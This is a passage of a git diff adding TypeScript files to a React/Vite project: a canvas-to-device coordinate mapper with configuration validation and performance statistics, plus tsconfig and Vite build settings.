+ const config = { ...DEFAULT_COORDINATE_MAPPING_CONFIG } + + // 基于屏幕尺寸调整 + const screenArea = deviceWidth * deviceHeight + const aspectRatio = Math.max(deviceWidth, deviceHeight) / Math.min(deviceWidth, deviceHeight) + + // 高分辨率设备可以启用亚像素精度 + if (screenArea > 2073600) { // 1080p以上 + config.enableSubPixelPrecision = true + } + + // 长屏设备通常有导航栏 + if (aspectRatio > 2.0) { + config.enableNavigationBarDetection = true + } + + // 超大屏幕需要更高的容错性 + if (deviceWidth > 1440 || deviceHeight > 2560) { + config.maxCoordinateError = 15 + } + + return config +} + +/** + * 验证坐标映射配置的安全性 + */ +export function validateConfig(config: CoordinateMappingConfig): { + isValid: boolean + warnings: string[] + errors: string[] +} { + const warnings: string[] = [] + const errors: string[] = [] + + // 检查基础配置 + if (!config.enableBasicMapping) { + errors.push('基础坐标映射不能被禁用') + } + + // 检查容错设置 + if (config.maxCoordinateError < 1) { + warnings.push('坐标误差容忍度过低,可能导致映射失败') + } + + if (config.maxCoordinateError > 50) { + warnings.push('坐标误差容忍度过高,可能影响精度') + } + + // 检查屏幕尺寸范围 + if (config.minimumScreenSize.width < 100 || config.minimumScreenSize.height < 100) { + errors.push('最小屏幕尺寸设置过小') + } + + if (config.maximumScreenSize.width > 10000 || config.maximumScreenSize.height > 10000) { + warnings.push('最大屏幕尺寸设置过大') + } + + return { + isValid: errors.length === 0, + warnings, + errors + } +} + +/** + * 获取功能启用状态的摘要 + */ +export function getConfigSummary(config: CoordinateMappingConfig): string { + const enabledFeatures: string[] = [] + const disabledFeatures: string[] = [] + + const features = [ + { key: 'enableSubPixelPrecision', name: '亚像素精度' }, + { key: 'enableNavigationBarDetection', name: '导航栏检测' }, + { key: 'enableDensityCorrection', name: '密度修正' }, + { key: 'enableAspectRatioCorrection', name: '长宽比修正' }, + { key: 'enableDeviceSpecificOptimizations', name: '设备特定优化' } + ] + + features.forEach(feature => { + if (config[feature.key as keyof CoordinateMappingConfig]) { + enabledFeatures.push(feature.name) + } else { + disabledFeatures.push(feature.name) + } + }) + + let summary = `坐标映射配置摘要:\n` + summary += `✅ 已启用: ${enabledFeatures.join(', ') || '无'}\n` + summary += `❌ 已禁用: ${disabledFeatures.join(', ') || '无'}\n` + summary += `🎯 误差容忍: ${config.maxCoordinateError}px\n` + summary += `🔧 回退模式: ${config.fallbackToBasicOnError ? '启用' : '禁用'}` + + return summary +} + +export default DEFAULT_COORDINATE_MAPPING_CONFIG \ No newline at end of file diff --git a/src/utils/SafeCoordinateMapper.ts b/src/utils/SafeCoordinateMapper.ts new file mode 100644 index 0000000..3e3abe1 --- /dev/null +++ b/src/utils/SafeCoordinateMapper.ts @@ -0,0 +1,425 @@ +/** + * 安全的坐标映射工具类 - 渐进式增强 + * + * 设计原则: + * 1. 基础功能始终可用 + * 2. 高级功能可选启用 + * 3. 错误自动回退到基础功能 + * 4. 详细的性能监控和错误日志 + */ + +import { + type CoordinateMappingConfig, + DEFAULT_COORDINATE_MAPPING_CONFIG, + validateConfig +} from './CoordinateMappingConfig' + +export interface DeviceInfo { + density: number + densityDpi: number + hasNavigationBar: boolean + aspectRatio: number + realScreenSize: { width: number; height: number } + appScreenSize: { width: number; height: number } + navigationBarSize: { width: number; height: number } +} + +export interface CoordinateMappingResult { + x: number + y: number + metadata: { + scale: number + density: number + actualDisplayArea: { width: number; height: number } + offset: { x: number; y: number } + aspectRatioDiff: number + processingTime: number + method: string + errors: string[] + warnings: string[] + } +} + +export class SafeCoordinateMapper { + private config: CoordinateMappingConfig + private performanceStats: { + totalMappings: number + successfulMappings: number + failedMappings: number + averageProcessingTime: number + errorRates: { [key: string]: number } + } + + constructor(config?: Partial) { + this.config = { ...DEFAULT_COORDINATE_MAPPING_CONFIG, ...config } + this.performanceStats = { + totalMappings: 0, + successfulMappings: 0, + failedMappings: 0, + averageProcessingTime: 0, + errorRates: {} + } + + // 验证配置 + const validation = validateConfig(this.config) + if (!validation.isValid) { + console.error('SafeCoordinateMapper配置无效:', validation.errors) + throw new Error('Invalid coordinate mapping configuration') + } + + if (validation.warnings.length > 0) { + console.warn('SafeCoordinateMapper配置警告:', validation.warnings) + } + } + + /** + * 安全的坐标映射 - 主要入口点 + */ + mapCoordinates( + canvasX: number, + canvasY: number, + canvasElement: HTMLCanvasElement, + deviceWidth: number, + deviceHeight: number, + deviceInfo?: DeviceInfo + ): CoordinateMappingResult | null { + const startTime = performance.now() + const errors: string[] = [] + const warnings: string[] = [] + + try { + this.performanceStats.totalMappings++ + + // 🔒 阶段1:基础验证 + const basicValidation = this.validateBasicInputs( + canvasX, canvasY, canvasElement, deviceWidth, deviceHeight + ) + if (!basicValidation.isValid) { + errors.push(...basicValidation.errors) + warnings.push(...basicValidation.warnings) + + if (this.config.fallbackToBasicOnError) { + return this.performBasicMapping( + canvasX, canvasY, canvasElement, deviceWidth, deviceHeight, + startTime, 'basic_fallback', errors, warnings + ) + } + return null + } + + // 🔒 阶段2:基础坐标映射 + const basicResult = this.performBasicMapping( + canvasX, canvasY, canvasElement, deviceWidth, deviceHeight, + startTime, 'basic', errors, warnings + ) + + if (!basicResult) { + this.performanceStats.failedMappings++ + return null + } + + // 🔒 阶段3:渐进式增强 + const enhancedResult = this.applyEnhancements( + basicResult, deviceInfo, deviceWidth, deviceHeight + ) + + // 🔒 阶段4:最终验证和统计 + const finalResult = this.validateAndFinalizeMappingResult( + enhancedResult, deviceWidth, deviceHeight, startTime + ) + + this.performanceStats.successfulMappings++ + this.updatePerformanceStats(finalResult.metadata.processingTime) + + return finalResult + + } catch (error) { + this.performanceStats.failedMappings++ + const errorMessage = `坐标映射失败: ${error instanceof Error ? error.message : 'Unknown error'}` + console.error(errorMessage, error) + + if (this.config.fallbackToBasicOnError) { + return this.performBasicMapping( + canvasX, canvasY, canvasElement, deviceWidth, deviceHeight, + startTime, 'error_fallback', [errorMessage], warnings + ) + } + + return null + } + } + + /** + * 🔒 基础输入验证 + */ + private validateBasicInputs( + canvasX: number, + canvasY: number, + canvasElement: HTMLCanvasElement, + deviceWidth: number, + deviceHeight: number + ): { isValid: boolean; errors: string[]; warnings: string[] } { + const errors: string[] = [] + const warnings: string[] = [] + + // 检查基础参数 + if (!canvasElement || !canvasElement.parentElement) { + errors.push('Canvas元素或其容器不存在') + } + + if (deviceWidth <= 0 || deviceHeight <= 0) { + errors.push(`设备尺寸无效: ${deviceWidth}×${deviceHeight}`) + } + + if (canvasX < 0 || canvasY < 0) { + warnings.push('Canvas坐标为负数') + } + + // 检查设备尺寸范围 + if (deviceWidth < this.config.minimumScreenSize.width || + deviceHeight < this.config.minimumScreenSize.height) { + warnings.push('设备尺寸过小') + } + + if (deviceWidth > this.config.maximumScreenSize.width || + deviceHeight > this.config.maximumScreenSize.height) { + warnings.push('设备尺寸过大') + } + + return { isValid: errors.length === 0, errors, warnings } + } + + /** + * 🔒 基础坐标映射 - 始终可用的核心功能 + */ + private performBasicMapping( + canvasX: number, + canvasY: number, + canvasElement: HTMLCanvasElement, + deviceWidth: number, + deviceHeight: number, + startTime: number, + method: string, + errors: string[], + warnings: string[] + ): CoordinateMappingResult | null { + try { + const container = canvasElement.parentElement! + const containerRect = container.getBoundingClientRect() + + const displayWidth = containerRect.width + const displayHeight = containerRect.height + + // 基础缩放计算 + const scaleX = displayWidth / deviceWidth + const scaleY = displayHeight / deviceHeight + const scale = Math.min(scaleX, scaleY) + + // 基础显示区域计算 + const actualDisplayWidth = deviceWidth * scale + const actualDisplayHeight = deviceHeight * scale + const offsetX = (displayWidth - actualDisplayWidth) / 2 + const offsetY = (displayHeight - actualDisplayHeight) / 2 + + // 基础坐标转换 + const adjustedCanvasX = canvasX - offsetX + const adjustedCanvasY = canvasY - offsetY + + // 检查是否在显示区域内 + if (adjustedCanvasX < 0 || adjustedCanvasX > actualDisplayWidth || + adjustedCanvasY < 0 || adjustedCanvasY > actualDisplayHeight) { + return null + } + + const deviceX = adjustedCanvasX / scale + const deviceY = adjustedCanvasY / scale + + // 基础坐标限制 + const clampedX = Math.max(0, Math.min(deviceWidth, Math.round(deviceX))) + const clampedY = Math.max(0, Math.min(deviceHeight, Math.round(deviceY))) + + const processingTime = performance.now() - startTime + + return { + x: clampedX, + y: clampedY, + metadata: { + scale, + density: 1.0, // 基础密度 + actualDisplayArea: { width: actualDisplayWidth, height: actualDisplayHeight }, + offset: { x: offsetX, y: offsetY }, + aspectRatioDiff: Math.abs((deviceWidth / deviceHeight) - (displayWidth / displayHeight)), + processingTime, + method, + errors: [...errors], + warnings: [...warnings] + } + } + + } catch (error) { + console.error('基础坐标映射失败:', error) + return null + } + } + + /** + * 🔒 渐进式增强 - 根据配置启用高级功能 + */ + private applyEnhancements( + basicResult: CoordinateMappingResult, + deviceInfo?: DeviceInfo, + deviceWidth?: number, + deviceHeight?: number + ): CoordinateMappingResult { + const enhanced = { ...basicResult } + + try { + // 🔧 增强1:密度修正 + if (this.config.enableDensityCorrection && deviceInfo) { + enhanced.metadata.density = deviceInfo.density + enhanced.metadata.method += '+density' + + // 高密度设备的亚像素精度 + if (this.config.enableSubPixelPrecision && deviceInfo.density > 2) { + enhanced.x = Math.round(enhanced.x * 10) / 10 + enhanced.y = Math.round(enhanced.y * 10) / 10 + enhanced.metadata.method += '+subpixel' + } + } + + // 🔧 增强2:导航栏检测 + if (this.config.enableNavigationBarDetection && deviceInfo && deviceHeight) { + if (deviceInfo.hasNavigationBar && deviceInfo.navigationBarSize?.height > 0) { + const navBarHeight = deviceInfo.navigationBarSize.height + const navigationBarThreshold = deviceHeight - navBarHeight + + if (enhanced.y > navigationBarThreshold) { + enhanced.y = Math.min(enhanced.y, deviceHeight + Math.min(navBarHeight, 150)) + enhanced.metadata.method += '+navbar' + } + } + } + + // 🔧 增强3:长宽比修正 + if (this.config.enableAspectRatioCorrection && deviceInfo) { + const aspectRatioDiff = Math.abs(deviceInfo.aspectRatio - (deviceWidth! / deviceHeight!)) + if (aspectRatioDiff > 0.1) { + enhanced.metadata.warnings.push(`长宽比差异较大: ${aspectRatioDiff.toFixed(3)}`) + } + } + + // 🔧 增强4:设备特定优化 + if (this.config.enableDeviceSpecificOptimizations && deviceInfo && deviceWidth && deviceHeight) { + const screenArea = deviceWidth * deviceHeight + if (screenArea > 2073600) { // 1080p以上 + enhanced.metadata.method += '+highres' + } + } + + } catch (error) { + enhanced.metadata.errors.push(`增强处理失败: ${error instanceof Error ? error.message : 'Unknown error'}`) + } + + return enhanced + } + + /** + * 🔒 最终验证和结果处理 + */ + private validateAndFinalizeMappingResult( + result: CoordinateMappingResult, + deviceWidth: number, + deviceHeight: number, + startTime: number + ): CoordinateMappingResult { + // 最终坐标验证 + if (this.config.enableCoordinateValidation) { + const errorX = Math.abs(result.x - Math.round(result.x)) + const errorY = Math.abs(result.y - Math.round(result.y)) + + if (errorX > this.config.maxCoordinateError || errorY > this.config.maxCoordinateError) { + result.metadata.warnings.push(`坐标误差过大: (${errorX.toFixed(2)}, ${errorY.toFixed(2)})`) + } + } + + // 确保坐标在边界内 + result.x = Math.max(0, Math.min(deviceWidth, result.x)) + result.y = Math.max(0, Math.min(deviceHeight, result.y)) + + // 更新处理时间 + result.metadata.processingTime = performance.now() - startTime + + // 详细日志 + if (this.config.enableDetailedLogging) { + console.log('SafeCoordinateMapper映射完成:', { + coordinates: { x: result.x, y: result.y }, + metadata: result.metadata, + config: this.config, + stats: this.performanceStats + }) + } + + return result + } + + /** + * 更新性能统计 + */ + private updatePerformanceStats(processingTime: number) { + if (this.config.enablePerformanceMonitoring) { + const totalTime = this.performanceStats.averageProcessingTime * (this.performanceStats.successfulMappings - 1) + this.performanceStats.averageProcessingTime = (totalTime + processingTime) / this.performanceStats.successfulMappings + } + } + + /** + * 获取性能统计报告 + */ + getPerformanceReport(): string { + const successRate = this.performanceStats.totalMappings > 0 + ? (this.performanceStats.successfulMappings / this.performanceStats.totalMappings * 100).toFixed(1) + : '0' + + return ` +SafeCoordinateMapper性能报告: +📊 总映射次数: ${this.performanceStats.totalMappings} +✅ 成功次数: ${this.performanceStats.successfulMappings} +❌ 失败次数: ${this.performanceStats.failedMappings} +📈 成功率: ${successRate}% +⏱️ 平均处理时间: ${this.performanceStats.averageProcessingTime.toFixed(2)}ms +🔧 回退模式: ${this.config.fallbackToBasicOnError ? '启用' : '禁用'} +` + } + + /** + * 更新配置 + */ + updateConfig(newConfig: Partial) { + const updatedConfig = { ...this.config, ...newConfig } + const validation = validateConfig(updatedConfig) + + if (!validation.isValid) { + console.error('配置更新失败:', validation.errors) + return false + } + + this.config = updatedConfig + console.log('SafeCoordinateMapper配置已更新') + return true + } + + /** + * 重置性能统计 + */ + resetPerformanceStats() { + this.performanceStats = { + totalMappings: 0, + successfulMappings: 0, + failedMappings: 0, + averageProcessingTime: 0, + errorRates: {} + } + } +} + +export default SafeCoordinateMapper \ No newline at end of file diff --git a/src/vite-env.d.ts b/src/vite-env.d.ts new file mode 100644 index 0000000..11f02fe --- /dev/null +++ b/src/vite-env.d.ts @@ -0,0 +1 @@ +/// diff --git a/tsconfig.app.json b/tsconfig.app.json new file mode 100644 index 0000000..c9ccbd4 --- /dev/null +++ b/tsconfig.app.json @@ -0,0 +1,27 @@ +{ + "compilerOptions": { + "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo", + "target": "ES2020", + "useDefineForClassFields": true, + "lib": ["ES2020", "DOM", "DOM.Iterable"], + "module": "ESNext", + "skipLibCheck": true, + + /* Bundler mode */ + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "verbatimModuleSyntax": true, + "moduleDetection": "force", + "noEmit": true, + "jsx": "react-jsx", + + /* Linting */ + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "erasableSyntaxOnly": true, + "noFallthroughCasesInSwitch": true, + "noUncheckedSideEffectImports": true + }, + "include": ["src"] +} diff --git a/tsconfig.json b/tsconfig.json new file mode 100644 index 0000000..1ffef60 --- /dev/null +++ b/tsconfig.json @@ -0,0 +1,7 @@ +{ + "files": [], + "references": [ + { "path": "./tsconfig.app.json" }, + { "path": "./tsconfig.node.json" } + ] +} diff --git a/tsconfig.node.json b/tsconfig.node.json new file mode 100644 index 0000000..9728af2 --- /dev/null +++ b/tsconfig.node.json @@ -0,0 +1,25 @@ +{ + "compilerOptions": { + "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo", + "target": "ES2022", + "lib": ["ES2023"], + "module": "ESNext", + "skipLibCheck": true, + + /* Bundler mode */ + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "verbatimModuleSyntax": true, + "moduleDetection": "force", + "noEmit": true, + + /* Linting */ + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "erasableSyntaxOnly": true, + "noFallthroughCasesInSwitch": true, + "noUncheckedSideEffectImports": true + }, + "include": ["vite.config.ts"] +} diff --git a/vite.config.ts b/vite.config.ts new file mode 100644 index 0000000..db8e083 --- /dev/null +++ b/vite.config.ts @@ -0,0 +1,62 @@ +import { defineConfig } from 'vite' +import react from '@vitejs/plugin-react' + +// https://vite.dev/config/ +export default defineConfig({ + plugins: [react()], + server: { + host: '0.0.0.0', // 允许外部访问 + port: 5173, + open: false, // 服务器环境不自动打开浏览器 + cors: true, // 启用CORS + }, + preview: { + host: '0.0.0.0', + port: 5173, + }, + build: { + // 🔧 优化构建配置,解决大块警告 + chunkSizeWarningLimit: 1000, // 提高块大小警告限制到1MB + rollupOptions: { + output: { + // 📦 手动代码分割,优化加载性能 + manualChunks: { + // React相关库单独打包 + 'react-vendor': ['react', 'react-dom'], + // Redux相关库单独打包 + 'redux-vendor': ['@reduxjs/toolkit', 'react-redux'], + // UI库单独打包 + 'ui-vendor': ['antd'], + // Socket.IO单独打包 + 'socket-vendor': ['socket.io-client'], + }, + // 📁 优化文件命名 + chunkFileNames: 'assets/js/[name]-[hash].js', + entryFileNames: 'assets/js/[name]-[hash].js', + assetFileNames: 'assets/[ext]/[name]-[hash].[ext]', + } + }, + // 🚀 构建优化 + sourcemap: false, // 生产环境不生成sourcemap + minify: 'terser', // 使用terser压缩 + terserOptions: { + compress: { + drop_console: true, // 移除console + drop_debugger: true, // 移除debugger + }, + }, + // 📊 资源优化 + assetsInlineLimit: 4096, // 小于4KB的资源内联为base64 + }, + // 🔧 依赖优化 + optimizeDeps: { + include: [ + 'react', + 'react-dom', + '@reduxjs/toolkit', + 'react-redux', + 'antd', + 'socket.io-client' + ], + } +})